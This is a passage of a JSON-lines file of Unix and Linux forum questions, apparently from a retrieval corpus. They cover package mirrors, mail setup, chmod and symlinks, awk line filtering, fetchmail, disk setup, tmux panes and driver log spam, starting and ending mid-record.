10516 root Z [sh] 10574 root Z [sh] 10597 root Z [sh] 10630 root Z [sh] 10737 root Z [sh] 11072 root Z [sh] 11103 root Z [sh] 11413 root Z [sh] 11436 root Z [sh] 11457 root DW [STVID.InjecterT] 11458 root SW [STVID[0].MPEG2P] 11459 root DW [tfm_89287480] 11460 root SW [STVID[0].Produc] 11461 root SW [STVID[0].Displa] 11462 root SW [STVID[0].ErrorR] 11477 root Z [sh] 11500 root Z [sh] 11525 root Z [sh] 11548 root Z [sh] 11581 root Z [sh] 11605 root Z [sh] 11638 root Z [sh] 11661 root Z [sh] 11688 root Z [sh] 19185 root 2704 R ps"} {"_id": "149647", "title": "\"Couldn't resolve host\" when downloading Fedora 16 packages", "text": "I'm using `yum` to install `make`, I am getting the following error. I tried all solutions from similar questions but the issue remains. http://download.fedoraproject.org/pub/fedora/linux/releases/16/Everything/i386/os/repodata/repomd.xml: [Errno 14] curl#6 - \"Couldn't resolve host\" Trying other mirror"} {"_id": "149649", "title": "How do I send email from a terminal?", "text": "I have been trying to use the unix `mail` command to send emails, but haven't been having much success. I wasn't getting any errors though so I checked my `var/mail` file and found a lot of these messages: > Mailing to remote domains not supported That makes sense, because I haven't given it an SMTP server, but how do I do this? I read through the `man mail` page and didn't see anything that would help, and googling took me to this page which left me feeling confused and rather unintelligent. Is there a guide for setting up smtp settings which is not too much harder than it should be?"} {"_id": "37962", "title": "Can I prevent \"Disable touchpad while typing\" from affecting mouse movements?", "text": "When I click my name in the upper right, then click \"System Settings\", then \"Mouse and Touchpad\", and then \"Disable touchpad while typing\" it affects my mouse movements. I have to wait two seconds before I can move the pointer with the touchpad. I like the \"Disable touchpad while typing\" feature in general, as it prevents me from accidentally raising another window instead of the one I'm typing into, but can I have the feature only affect taps of the touchpad and not my attempts to move the mouse around? I'm using GNOME 3.2.1 on Fedora 16"} {"_id": "41046", "title": "Prevent a unix account from being able to SSH", "text": "> **Possible Duplicate:** > Disable direct login for normal users (like oracle) in linux but allow scp > and sftp? I want to prevent a unix account from being able to be SSH'ed with, but it should still be usable for SCP / SFTP. Is that possible? The rational is that a unix server uses a generic account for the application and people have been logging on to the box while using that generic account rather than their personal accounts. We want them to SSH to the box using their personal account for audit reasons."} {"_id": "37258", "title": "Refresh/reload active browser tab from command line?", "text": "I'm trying to set up a custom toolchain where the browser (Firefox or, preferrably, Chrome) is often/frequently/constantly forced to refresh from the commandline. (The idea is to instantly see the visual changes in the html/webapp I'm editing in an adjacent Emacs frame - without having to constantly tab to the browser to do a manual refresh.) The closest I've come so far is to run `google-chrome FILE_PATH`. However this opens a new tab every time. Are there other approaches?"} {"_id": "37967", "title": "Is chmod behavior wrong for symlinks?", "text": "Recently we had a problem on a Red Hat Linux box with many users: the `/usr/bin/sudo` binary has lost its sticky bit. Work was blocked until root user fix it (we need `sudo` for deploying and testing). The reason of this breakdown was... symlink `$HOME/bin/s` pointing to `/usr/bin/sudo`. I thought that having one more bash alias is not good and symlink is a simpler solution that will work with any shell, so I have created symlink `$HOME/bin/s` pointing to `/usr/bin/sudo`. Then a guy copied my `$HOME/bin` to his `$HOME` and \"just in case\" called `sudo chmod 755 $HOME/bin/*`. As result `/usr/bin/sudo` have got 0755 permissions instead of needed 4111. Now it's fixed, root has logged in and restored permissions for sudo. `man chmod` (Red Hat, Ubuntu): chmod never changes the permissions of symbolic links; the chmod system call cannot change their permissions. This is not a problem since the permissions of symbolic links are never used. However, for each sym- bolic link listed on the command line, chmod changes the permissions of the pointed-to file. My question is: was it my fault because I should never create symlinks pointing to binaries OR is `chmod` behavior wrong and it shouldn't change permissions of files pointed by symlinks? Why is this the behavior of `chmod`? Does it make any sense?"} {"_id": "30999", "title": "What is \"blocking\" in reference to file I/O?", "text": "My textbook mentions it but doesn't specifically define it. From the context it's used in (in this example, pipes), I take it to mean that if one end of the pipe _blocks_ , it's temporarily \"disabled\", if you will, and data is queued? That's the part I'm a bit confused about. When it \"blocks\", does (whatever it is) wait until it's unblocked and then continue with whatever was sent while it was blocked? This seems to be what they're hinting at because they say when it's \"non-blocking\" it immediately returns an error (if I remember correctly). Any clarification or nudges in the right direction appreciated. Thanks! (Not sure which tags to use)"} {"_id": "34438", "title": "VirtualBox Hangs when installing freebsd 9.0", "text": "When installing Freebsd 9.0 as virtualbox guest, it hangs. Freezes the guest OS, other VirtualBox windows works fine. Logs attached, hardware is pentium D, 4 GB ram, Asus p5ld2 deluxe mainboard, OS - Ubuntu linux. When I select minimum configuration as possible, freebsd was installed in this minimal configuration. Then I tried to install KDE from ftp, and after downloading some packages, it hangs again on downloading ghostscript. How fix this? I asked this on virtualbox forum too"} {"_id": "144758", "title": "Sorting file by second column", "text": "How can I manipulate a two columns tab-separated text file by sorting by the first element of the second column (only if the first column element is the same)? Exemple: Input File 1 A 1-2 A 6-8 A 3-4 B 7-10 B 5-9 Expected output: File 2 A 1-2 A 3-4 A 6-8 B 5-9 B 7-10"} {"_id": "115108", "title": "Arch Linux OpenVPN DNS-Problem", "text": "I can\u00b4t successfully connect with OpenVPN or maybe I\u00b4ll connect successfully and something is wrong with my network-settings... this is the Output of OpenVPN while connecting: Thu Feb 13 23:21:13 2014 OpenVPN 2.3.2 x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Nov 13 2013 Thu Feb 13 23:21:13 2014 WARNING: file '/home/mak/openvpn-config/mkirchweger.p12' is group or others accessible Thu Feb 13 23:21:13 2014 Attempting to establish TCP connection with [AF_INET]83.164.xxx.xx:xxxx [nonblock] Thu Feb 13 23:21:14 2014 TCP connection established with [AF_INET]83.164.xxx.xx:xxxx Thu Feb 13 23:21:14 2014 TCPv4_CLIENT link local: [undef] Thu Feb 13 23:21:14 2014 TCPv4_CLIENT link remote: [AF_INET]83.164.xxx.xx:xxxx Thu Feb 13 23:21:14 2014 [bricks.softpoint.at] Peer Connection Initiated with [AF_INET]83.164.xxx.xx:xxxx Thu Feb 13 23:21:17 2014 TUN/TAP device tun0 opened Thu Feb 13 23:21:17 2014 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 Thu Feb 13 23:21:17 2014 /usr/bin/ip link set dev tun0 up mtu 1500 Thu Feb 13 23:21:17 2014 /usr/bin/ip addr add dev tun0 local 10.10.x.xx peer 10.10.x.xx Thu Feb 13 23:21:19 2014 Initialization Sequence Completed **UPDATE:** I\u00b4m pretty sure it as an DNS-Issue, ping via IP works but Hostnames can\u00b4t be resolved..."} {"_id": "30990", "title": "Can vmlinux be used instead of uImage?", "text": "I want to use an uncompressed kernel image and boot the BeagleBoard. Generally I use uImage to boot the kernel which is in compressed format. How do I use an uncompressed kernel image?"} {"_id": "115107", "title": "Is there a shutdown/restart command for x11VNC? - Linux (Debian)", "text": "I am running Linux (Debian). I recently installed the x11VNC server on my computer. I found the command to start the server is: x11vnc -display :0 I have been searching but did not find any information on how to restart and shutdown the x11VNC server. Is there a command(s) to do this?"} {"_id": "30992", "title": "Can you perform system calls from OSX Terminal?", "text": "So I get system calls in the context of a C program, but my textbook doesn't really address making system calls in Terminal (on Mac OSX). Can you do these on the command line like with \"commands\", or is it a totally different concept? Sorry, I'm sure this is very elementary, just can't find an answer."} {"_id": "115105", "title": "FileZilla will not start on Slackware", "text": "I think it was because I tried to install. Slackware txz 13 and mine is 14.1 64 bit, but I do not know where baicho package for Slack 14.1 can someone help me?"} {"_id": "30994", "title": "Allowing user access to mailman python files from root?", "text": "I just got my first managed VPS, and am taking a crash course in administering users. I normally do most things on my local computer as root. It is running centos-5-x86_64. What I'm trying to do is give one of my user accounts access to command line for cPanel-based mailman install. Namely I want to give him access to all the python scripts in /usr/local/cpanel/3rdparty/mailman/ How would I go about doing this? ACL? Or just add them to the mailman group? I'm completely unsure about what to do for this."} {"_id": "30995", "title": "Unkillable apache2 processes", "text": "After upgrading from debian lenny to squeeze (apache2 2.2.16-6+squeeze4 and php 5.3.10-1~dotdeb.1), my apache processes started to exit with segmentation fault. It happens every 5-30 minutes (for 1 process), so it does not do any impact right now. Problem is that sometimes instead of exiting with `SIGSEGV`, they just go crazy and loop with 100% system cpu usage in `SIGBUS` error: # strace -p27635 Process 27635 attached - interrupt to quit --- SIGBUS (Bus error) @ 0 (0) --- --- SIGBUS (Bus error) @ 0 (0) --- --- SIGBUS (Bus error) @ 0 (0) --- --- SIGBUS (Bus error) @ 0 (0) --- --- SIGBUS (Bus error) @ 0 (0) --- --- SIGBUS (Bus error) @ 0 (0) --- They don't respond to `kill -9`. But when I run strace on the process after killing it, it just repeats the `SIGBUS` twice and then exits. # strace -p27635 Process 27635 attached - interrupt to quit --- SIGBUS (Bus error) @ 0 (0) --- --- SIGBUS (Bus error) @ 0 (0) --- +++ killed by SIGKILL +++ Why is the process unkillable without strace? How does running strace influence the process that it can exit? (I know that there is probably something wrong with my setup of apache/php modules, but in this question I'm interested in the strange behaviour of the unkillable processes. I will ask another question if I am unable to fix apache/php.)"} {"_id": "52041", "title": "javac takes over 200% CPU on RHEL6?", "text": "> **Possible Duplicate:** > top output: cpu usage > 100% I don't think I understand what `top` is telling me. I have a `javac` process that says that it's taking over 200% of CPU. That's in the process line. But at the top, I see: Cpu(s): 5.2%us, 19.3%sy, 0.0%ni, 74.0%id, 0.1%wa, 0.0%hi, 1.5%si, 0.0%st which is acceptable. What is that CPU % that's being reported to me in the process lines. It always freaks me out when I see it, then I look at the top and I feel a little bit better."} {"_id": "145247", "title": "Understanding %CPU while running top command", "text": "I am trying to understand what does `%CPU` means when I run `top`. I am seeing `%CPU` for my application as `400` or `500` most of the times. Does anyone knows what does this mean? What number is a high number? > 19080 david 20 0 27.9g 24g 12m S 400 19.7 382:31.81 paper_client `lscpu` gives me below output: Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 32 On-line CPU(s) list: 0-31 Thread(s) per core: 2 Core(s) per socket: 8 Socket(s): 2 NUMA node(s): 2 Vendor ID: GenuineIntel CPU family: 6 Model: 45 Stepping: 7 CPU MHz: 2599.928 BogoMIPS: 5199.94 Virtualization: VT-x L1d cache: 32K L1i cache: 32K L2 cache: 256K L3 cache: 20480K NUMA node0 CPU(s): 0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30 NUMA node1 CPU(s): 1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31"} {"_id": "34434", "title": "Change default applications used by gnome-open, exo-open, xdg-open, gvfs-open and kde-open", "text": "How to change the applications associated with certain file-types for `gnome- open`, `exo-open`, `xdg-open`, `gvfs-open` and `kde-open`? 1. Is there a way by editing config files or by a command-line command? 2. Is there a way to do this using a GUI? For both questions: How to do it per user basis, how to do it system-wide?"} {"_id": "50264", "title": "How to fix bash or auto run /bin/bash on SSH login", "text": "When logging in as `root` at my server everything works fine, but when I log in as `myusername` the bash is not working correctly. The line starts with: $ instead of myusername@myserver:~$ and all specials keys like the arrow keys, tab keys, etc. won't work. When I type `bin/bash` it works again, but I'd like to fix the problem or auto run `bin/bash` on login. How can I fix this?"} {"_id": "26722", "title": "Flash drive not working on a particular RHEL machine", "text": "I have a 32 Gib flash drive. The first time I copied files to it, it failed with a write error and the drive was no longer recognized by the server. I ran a scan on it using Windows chkdsk, which fixed an error, but the server is still not recognizing it even though it works with Windows and other servers (and `fsck` on another server shows no problems). When plugged in, `fdisk -l` does not show it, /proc/scsi/scsi does show it, but also shows the other device entries from when I have tried the flash drive in different USB sockets: Host: scsi5 Channel: 00 Id: 00 Lun: 00 Vendor: SanDisk Model: Ultra Backup Rev: 1.20 Type: Direct-Access ANSI SCSI revision: 02 Host: scsi6 Channel: 00 Id: 00 Lun: 00 Vendor: SanDisk Model: Ultra Backup Rev: 1.20 Type: Direct-Access ANSI SCSI revision: 02 Host: scsi8 Channel: 00 Id: 00 Lun: 00 Vendor: SanDisk Model: Ultra Backup Rev: 1.20 Type: Direct-Access ANSI SCSI revision: 02 Every time I connect the drive, `dmesg` seems also to be running through a list of devices that are not currently connected: sdd : READ CAPACITY failed. sdd : status = 1, message = 00, host = 0, driver = 08 Info fld=0xa00 (nonstd), Current sd00:00: sense key Not Ready sdd : block size assumed to be 512 bytes, disk size 1GB. sdd: test WP failed, assume Write Enabled sdd: I/O error: dev 08:30, sector 0 I/O error: dev 08:30, sector 0 unable to read partition table I/O error: dev 08:30, sector 0 sdf : READ CAPACITY failed. sdf : status = 1, message = 00, host = 0, driver = 08 Info fld=0xa00 (nonstd), Current sd00:00: sense key Not Ready sdf : block size assumed to be 512 bytes, disk size 1GB. sdf: test WP failed, assume Write Enabled sdf: I/O error: dev 08:50, sector 0 I/O error: dev 08:50, sector 0 unable to read partition table Can anyone suggest a way to fix the drive? As I said, it works with other Red Hat servers. I am also worried that `/proc/scsi/scsi` is showing devices that are not connected -- why would that be?"} {"_id": "26723", "title": "Print odd-numbered lines, print even-numbered lines", "text": "I want to print the odd-numbered and even-numbered lines from files. I found this shell script which makes use of echo. #!/bin/bash # Write a shell script that, given a file name as the argument will write # the even numbered line to a file with name evenfile and odd numbered lines # in a text file called oddfile. # ------------------------------------------------------------------------- # Copyright (c) 2001 nixCraft project # This script is licensed under GNU GPL version 2.0 or above # ------------------------------------------------------------------------- # This script is part of nixCraft shell script collection (NSSC) # Visit http://bash.cyberciti.biz/ for more information. # ------------------------------------------------------------------------- file=$1 counter=0 eout=\"evenfile.$$\" # even file name oout=\"oddfile.$$\" # odd file name if [ $# -eq 0 ] then echo \"$(basename $0) file\" exit 1 fi if [ ! -f $file ] then echo \"$file not a file\" exit 2 fi while read line do # find out odd or even line number isEvenNo=$( expr $counter % 2 ) if [ $isEvenNo -ne 0 ] then # even match echo $line >> $eout else # odd match echo $line >> $oout fi # increase counter by 1 (( counter ++ )) done < $file echo \"Even file - $eout\" echo \"Odd file - $oout\" But isn't there a way to do it in one line? _Yes, use awk,_ I read. Even-numbered lines: awk 'NR % 2' filename odd-numbered lines: awk 'NR % 2 == 1' filename But it doesn't work for me. Both produce the same output, according to diff. When compared to the original file, they are both indeed half as long, and they both contain the odd-numbered lines. Am I doing something wrong?"} {"_id": "26727", "title": "autocomplete filenames using compgen", "text": "As part of a larger autocomplete function I'm writing, I want to use compgen to generate a list of files. I read the bash manual entries for `compgen` and `complete`, and from there I assumed that the option `-G \"*\"` would be the solution. I could not get it to work, though: The list of files in the current directory was shown, regardless of my input, i.e.: $ cmd aa bb cc $ cmd a aa bb cc $ cmd aa aa bb cc Therefore, I tried to debug this by using `complete`, which supports the same options as compgen, but I got the same result: $ complete -G \"*\" cmd $ cmd a aa bb cc I also tried `complete -o filenames`, but this doesn't work either.."} {"_id": "26728", "title": "Prepending a timestamp to each line of output from a command", "text": "I wish to prepend a timestamp to each line of output from a command. For example: foo bar baz would become [2011-12-13 12:20:38] foo [2011-12-13 12:21:32] bar [2011-12-13 12:22:20] baz ...where the time being prefixed is the time at which the line was printed. How can I achieve this?"} {"_id": "92435", "title": "Unlock Gnome shell takes a long time", "text": "I lock my GNOME Shell 3.6.3.1 by `Ctrl`+`Alt`+`L` as usual but when I try to unlock it takes up to a minute before I get my desktop back. While waiting I get a black background and a mouse pointer. Any ideas what takes so long?"} {"_id": "150368", "title": "X commands do not start from my at job", "text": "I'm learning about Linux scheduling commands including `at`, `cron`, `sleep` etc. I'm trying to launch `gedit` after x minutes via the `at` command. This is what I have: kedar@i5 ~ $ at now + 1 minute at now + 1 minute warning: commands will be executed using /bin/sh at> ./s.sh at> job 18 at Fri Aug 15 13:21:00 2014 The contents of **s.sh** (-rwxr--r--): #!/bin/sh #set $DISPLAY=:0 echo \"Created on\" `date` >t.txt gedit #(also tried /usr/bin/gedit and `gedit` and systen(/usr/bin/gedit)) After 1 minute, t.txt is created with the expected contents. However, `gedit` is not launched. For that matter, none of my programs(`firefox`,`xcalc`,`xfce4-terminal` etc) can be launched this way via `at`. Strange thing is, when I run `./s.sh` in bash, `gedit` opens up fine. Also I tried running `at` (from a file - if this is at all correct) as: kedar@i5 ~ $ at now + 1 minute -f ./s.sh I guess there's something wrong with the way I'm using `at` with the shell script. Also can't I use `at` without a shell script? Thanks."} {"_id": "66310", "title": "Remove all Vim undo files in all but one directory", "text": "I just realized that I have tons of Vim undo (`.un~`) files sprinkled around my file system. I'd like to delete all of these files except in one directory\u2014`~/.tmp`. My first problem is that I can't seem to find a Unix command to delete these things. For example, I have a file name that looks like this: `.myfile.txt.un~` I've tried, `rm -f *.un`, `rm -f *.un\\~`, `rm -f *.un*`, etc. and I can't seem to find any command that can delete these files. How can I delete these files? Secondly, I'd like to write a command with find that can visit all my directories and delete these files, with the exception of the `~/.tmp` directory. I'm quite afraid of executing this command incase it's wrong. Can anyone help be construct a find command to do this? Thanks in advance for the help!"} {"_id": "66313", "title": "Search plugin for wrapping words with text in Gedit v3", "text": "I've been searching out for a plugin that could possibly wraps words with specified text. For example I double click this word to highlight it : word and using a particular shortcut, it becomes as : word or myFunction(word); or ...whatever depending what user defines. I'm currently using Gedit v3. It would be really helpful if someone know a place where I can get this type of plugin."} {"_id": "24379", "title": "recvfrom() doesn't get any request from any remote client", "text": "I have written a udp server which receives client requests using a `recvfrom()` socket system call, this call receives requests from localhost only, no remote host requests are seen by the `recvfrom()` call. I tried capturing packets on the receivng port and I can see the packets coming from remote server, but the request don't reach `recvfrom()`, what could be the matter?"} {"_id": "24378", "title": "How to cd into the named directory if command not found?", "text": "When I type something which is neither a zsh builtin and no such executable is found from $PATH, zsh just reports an error. Instead, I would like zsh to check if a named directory exists with that name and cd into it. I tried defining command_not_found_handler() function but it didn't work as it forks a sub-shell to execute that function and hence directory change is not reflected in the actual shell. Is it something that is already possible with some settings or a new (useful?) feature?"} {"_id": "2983", "title": "Is there a parallel file archiver (like tar)?", "text": "Is there something out there for parallel archiving of files? Tar is great, but I don't use tape archives, and it's more important to me that the archiving happens quickly (with compression like bzip2) since I have smp."} {"_id": "24377", "title": "Bash vi mode configuration to default to command mode", "text": "Is it possible to configure bash vi mode so that initially it is in **command** mode instead on **insert** mode? I find that I have to press `Esc` far too much. It seems that there is possibility to specify this in zsh, but I have not found a way to do this in bash/readline."} {"_id": "144363", "title": "Thunderbird: deleted emails are still in local IMAP folder", "text": "I am using Thunderbird + IMAP. Thunderbird caches messages locally in: .icedove/asdfgh.default/ImapMail/mail.example.com/ For each IMAP folder, there are files `Folder` and `Folder.msf`. I have noticed, when I delete an email with large attachment, and then delete it from Trash also, than the trash file `.icedove/asdfgh.default/ImapMail/mail.example.com/Trash` still contains the email (and the attachment). Thus, even though from within Thunderbird it looks as if the message has been deleted (or expunged from trash, or what ever the term is), the message data is still in the trash file (I can see it when I open the Trash file with my text editor) Can anybody please explain what is happening here? How can I **really** delete an email? **And I should add** that the email has been successfully deleted on the IMAP server. So, Thunderbird has deleted the email on the server, but for some reason still keeps the data in the file."} {"_id": "2987", "title": "How do I convert an epoch timestamp to a human readable format on the cli?", "text": "How do I convert an epoch timestamp to a human readable format on the cli? I think there's a way to do it with date but the syntax eludes me (other ways welcome)."} {"_id": "114856", "title": "Getting a delimiter issue while executing the script", "text": "I am creating a `test.sh` file and i am running it as `./test.sh`: string=\"hello\" ed << EOF e any_file 1i ${string} EOF can anybody help me what it does? I am getting some delimiter issue. Can anybody tell me how to do this?"} {"_id": "24373", "title": "why xfce4 always replace a new files in .config/xfce4/panel/?", "text": "I started inotify tools to see which files are changing during my work process. And i found that xfce4 always update their config files. Anyone know it do that ?"} {"_id": "24372", "title": "Why can't I echo the password to fetchmail?", "text": "I'm trying to configure a fetchmail. Before I deal with the syntax of fetchmailrc ( I discovered that the level of bugginess of a problem is synergistic with the number of different aspects of the problem that I do not understand, so one new thing at a time ), I decided to pass all the options via commandline. I got tired of entering the password for each test so I wanted to pass it in the script. I couldn't find something like --pass as a commandline option for fetchmail so I thought maybe echo the password to fetchmail ala: echo \"dohadeer\"| fetchmail --all -p pop3 -k pop.gmail.com --ssl -d0 --user FakeName@gmail.com I dismissed it and googled \"fetchmail password commandline\" and got several hits which claimed the above technique worked! But when I tried it I get the error: fetchmail: can't find a password for FakeName@gmail.com@pop.gmail.com. I can figure out workarounds for the original problem, but I can't figure out why this approach doesn't work. Obviously there is something I don't understand about Linux and want to figure out."} {"_id": "88728", "title": "Why no shebang in .bashrc/.bash_profile?", "text": "Simple inquiry: I have just realized that I have never seen a shebang on top of a `.bashrc` script, which leads me to think the system uses the default shell to source it upon login (`${SHELL}`). I am pondering over reasons why that is the case, i.e. is it considered a bad habit to use something other than the default shell to run the login script."} {"_id": "136638", "title": "Trim last chars from a line", "text": "I have a `csv` file and the lines have different length. But all of them ends with a number surrounded by a pair of braces. For example, ........{5} ........{16} I'd like to remove the number and the braces or maybe replace them for double quotes, for example. The result could be ........ ........ or ........\" ........\" I only found solution for lines with fixed length or with the same string at the end of line. Any idea?"} {"_id": "68927", "title": "/proc/net/wireless does not show values unless run as root", "text": "`cat /proc/net/wireless` does not show statistics for wireless devices unless it is run as root, even though the permissions on the file are 444. The same seems to apply when accessing statistics via `iwlib`. Is there a way to `cat` this file and see the values without requiring the command be run as root?"} {"_id": "136631", "title": "How to switch directly to a pane in Tmux?", "text": "I'd like to switch directly to a pane in Tmux, by pane #. How can I do this? I know how to cycle between panes, and move to panes that are beside the current pane. I'd like to be able to run the `display-panes` command, which shows the \"pane #\" on each pane, then later on jump directly to a pane using the pane #'s that were displayed by `display-panes`. Is this possible? NOTE: And just to be clear, I don't mean window, I mean pane. Thanks!"} {"_id": "136637", "title": "Why do we need to fork to create new processes?", "text": "In Unix whenever we want to create a new process, we fork the current process, creating a new child process which is exactly the same as the parent process; then we do an exec system call to replace all the data from the parent process with that for the new process. Why do we create a copy of the parent process in the first place and not create a new process directly? I am new to Unix, so please explain in layman's terms."} {"_id": "67950", "title": "How can I update this sed oneliner?", "text": "INPUT: $ echo -e 'AAAART5530408XXXX\\nAAAAZE6530408XXXX\\nAAAART12345678XXXX' AAAART5530408XXXX AAAAZE6530408XXXX AAAART12345678XXXX $ OUTPUT: $ echo -e 'AAAART5530408XXXX\\nAAAAZE6530408XXXX\\nAAAART12345678XXXX' | sed -e 's/\\(AAAA[A-Z]\\{2\\}[0-9]\\{7\\}\\)XXXX/\\n\\1/g' AAAART5530408 AAAAZE6530408 AAAART12345678XXXX $ How can I extend the: sed -e 's/\\(AAAA[A-Z]\\{2\\}[0-9]\\{7\\}\\)XXXX/\\n\\1/g' sed oneliner, so that it would optionally accept sed -e 's/\\(AAAA[A-Z]\\{2\\}[0-9]\\{8\\}\\)XXXX/\\n\\1/g' 8 numbers too? (not just 7) Is it possible with only 1 sed?"} {"_id": "77345", "title": "Making two drives show as one on debian?", "text": "I rented a server from a provider and they won't install RAID0 without an additional fee. So I'm trying to figure out how to link these two drives so that my programs that are installed on the hard disk will see the space from the second drive. This is how it's setup: `df -h`: Filesystem Size Used Avail Use% Mounted on rootfs 139G 93G 39G 71% / udev 10M 0 10M 0% /dev tmpfs 599M 208K 599M 1% /run /dev/disk/by-uuid/e7a9cc0e-9caa-4d33-b60f-... 139G 93G 39G 71% / tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 2.7G 0 2.7G 0% /run/shm /dev/sda1 961M 36M 877M 4% /boot /dev/sda5 139G 93G 39G 71% /media/hd `fdisk -l`: Disk /dev/sda: 160.0 GB, 160000000000 bytes 255 heads, 63 sectors/track, 19452 cylinders, total 312500000 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00066abb Device Boot Start End Blocks Id System /dev/sda1 * 2048 2000895 999424 83 Linux /dev/sda2 2002942 312498175 155247617 5 Extended /dev/sda5 2002944 296499199 147248128 83 Linux /dev/sda6 296501248 312498175 7998464 82 Linux swap / Solaris Disk /dev/sdb: 160.0 GB, 160000000000 bytes 58 heads, 29 sectors/track, 185790 cylinders, total 312500000 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00088a99 Device Boot Start End Blocks Id System /dev/sdb1 2048 312499999 156248976 83 Linux I did my best with my n00bness to mount the 2nd drive. Does anyone know what I need to do to make the drives show up as one?"} {"_id": "67953", "title": "How to set System Variable for mySQL in RHEL 6.2?", "text": "I am currently working on mySQL 5.6.10 server and RHEL 6.2. I need to set the system variable PATH for mySQL on RHEL 6.2 Terminal. How do I set it? I also want to run a `.sql` file on Linux. I am using the following command: mySQL DBname -uusername -ppassword <\"path to the .sql file\" Please help me with the correct command to run the sql script file on Linux. If there are any prerequisites or configurations required to run the `.sql` file?"} {"_id": "67954", "title": "syslog-ng ignores MSSQL database name", "text": "`syslog-ng` ignores the database defined in `syslog-ng.conf` and instead uses the default database of the user when logging to MSSQL destination. destination d_mssql { sql(type(mssql) host(\"myhost\") username(\"myuser\") password(\"mypass\") database(\"syslogng\") table(\"msgs_${R_YEAR}${R_MONTH}${R_DAY}\")columns( \"seqnum bigint\", \"datetime varchar(16)\", \"host varchar(32)\", \"program varchar(32)\", \"pid varchar(8)\", \"priority varchar(10)\", \"facility varchar(10)\", \"pri int\", \"message varchar(max)\") values(\"$SEQNUM\", \"$R_DATE\", \"$HOST\", \"$PROGRAM\", \"$PID\", \"$PRIORITY\", \"$FACILITY\", \"$PRI\", \"$MSGONLY\") indexes(\"datetime\", \"host\", \"program\", \"pid\")); }; As you can see I want to use \"syslogng\" as my database but what happens is that `syslog-ng` uses the default database (\"master\") configured for \"myuser\" in MS SQL Server. If I change the default database for \"myuser\" in SQL server to \"syslogng\", then it will write to \"syslogng\" database. But this is not what I want. I want to be able to configure the database in `syslog-ng.conf`. Any ideas why this is happening? Same question on BalaBit community website."} {"_id": "67955", "title": "Is it possible to execute a sub-command from a Gnome Shell launcher?", "text": "I've got an alias set up to launch my text editor in a way that keeps it local to the specific desktop I'm working on in Gnome Shell: alias geany=\"geany --socket-file=/tmp/geany-sock-$(xprop -root _NET_CURRENT_DESKTOP | awk '{print $3}') ${1+\"$@\"}\" I'd like to emulate this with the actual Gnome Shell launcher. As it stands, I have the launcher command set to: geany --socket-file=/tmp/geany-sock-$(xprop -root _NET_CURRENT_DESKTOP | awk '{print $3}') %F Which will point to the open Geany session in the current window if one is already open, but it won't launch a new session. I'll get a spinner, and then it just quits rather than launching the app. Is there any way to do this?"} {"_id": "67956", "title": "Using symbolic links and git to manage build versions", "text": "In general I follow the following workflow when I build any program (e.g. `emacs`, `tmux`, etc.) /home/opt/[name of the program]/builds/[version]/ bin lib share For example for a program like `tmux` I have the following: /my_local_opt/tmux/builds/1.7.-227/ bin lib share I then create sym links in `/home/bin/` pointing to the the specific builds that I have, and I never have to touch my `PATH` variable, since I fix it to include `/home/bin`. E.g. For the example above, I would * Create a sym link: from: `/home/bin/tmux` to: `/my_local_opt/tmux/builds/1.7.-227/bin/tmux` * Have `PATH` only include `/home/bin` However, I am not sure I can follow a similar approach for the `man` (`MANPATH`) and `lib` (`LD_LIBRARY_PATH`) paths. 1. For example, after I build `tmux` I notice that it creates: > `.. /share/man/man1/tmux.1` so I tried creating a symlink to this file from a place like `/home/share` and then fixing `MANPATH` to include this path. But when I typed `man tmux` it didn't work (it said \"`No manual entry for tmux`\"). Why? 2. How about `lib`? I thought I could perhaps fix `LD_LIBRARY_PATH` to a specific directory for each program, and then use sym links to control which version gets included. Would this be a good idea? More generally, is it a good idea to manage versions in a system using sym links? In the long run I am hoping to leave the sym links in a git repository to keep track of multiple configurations. In case it helps, I don't have admin privileges in the machine where I build software, so I am hoping to use this as a way easily organize and manage my builds (without having to constantly edit my environment variables holding paths)"} {"_id": "131063", "title": "What is the alternative of Wingdings 2 with wine?", "text": "There are wine-wingdings-fonts available via EPEL for linux. These seems to be compatible with Wingdings (used in Microsoft Windows). Is there any wine-fonts available which is exact mapping of Wingdings 2? I'm assuming wine-wingdings-fonts is not compatible to Wingdings. Thanks in advance."} {"_id": "131062", "title": "Wheezy and touchscreen issues", "text": "I've just bought an ASUS N550JV notebook and wanted to install Debian Wheezy. Right now, my worst concern is the touchscreen. I don't really care whether it works or not but it is really messing with the OS. I installed Debian stable which comes with the 3.2.57 kernel. The touchscreen didn't work at all and I didn't really care until I run `dmesg`. Each 2 seconds I get spammed with the following text added to the dmesg output: [ 31.901696] xhci_queue_intr_tx: 74 callbacks suppressed [ 33.826890] usb 1-10: USB disconnect, device number 12 [ 34.098270] usb 1-10: new full-speed USB device number 13 using xhci_hcd [ 34.116166] usb 1-10: New USB device found, idVendor=04f3, idProduct=010c [ 34.116176] usb 1-10: New USB device strings: Mfr=4, Product=14, SerialNumber=0 [ 34.116181] usb 1-10: Product: Touchscreen [ 34.116185] usb 1-10: Manufacturer: ELAN [ 34.116485] usb 1-10: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes [ 36.187570] usb 1-10: USB disconnect, device number 13 [ 36.458741] usb 1-10: new full-speed USB device number 14 using xhci_hcd [ 36.476680] usb 1-10: New USB device found, idVendor=04f3, idProduct=010c [ 36.476689] usb 1-10: New USB device strings: Mfr=4, Product=14, SerialNumber=0 [ 36.476695] usb 1-10: Product: Touchscreen [ 36.476698] usb 1-10: Manufacturer: ELAN [ 36.477006] usb 1-10: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes [ 37.013838] xhci_queue_intr_tx: 78 callbacks suppressed I will run out of disk space if I just leave the computer on because the log files will get huge. I went for a `rmmod xhci_hcd` and that stopped the output but also the mouse, so it is not an option. So I thought the kernel must have been just old. So I added the wheezy backports and gave the 3.14 kernel a try. Not only did it stop the output but also made the touchscreen work (or at least be able to receive single touches). However, after I added the system monitor applet I noticed something was wrong. I always want to 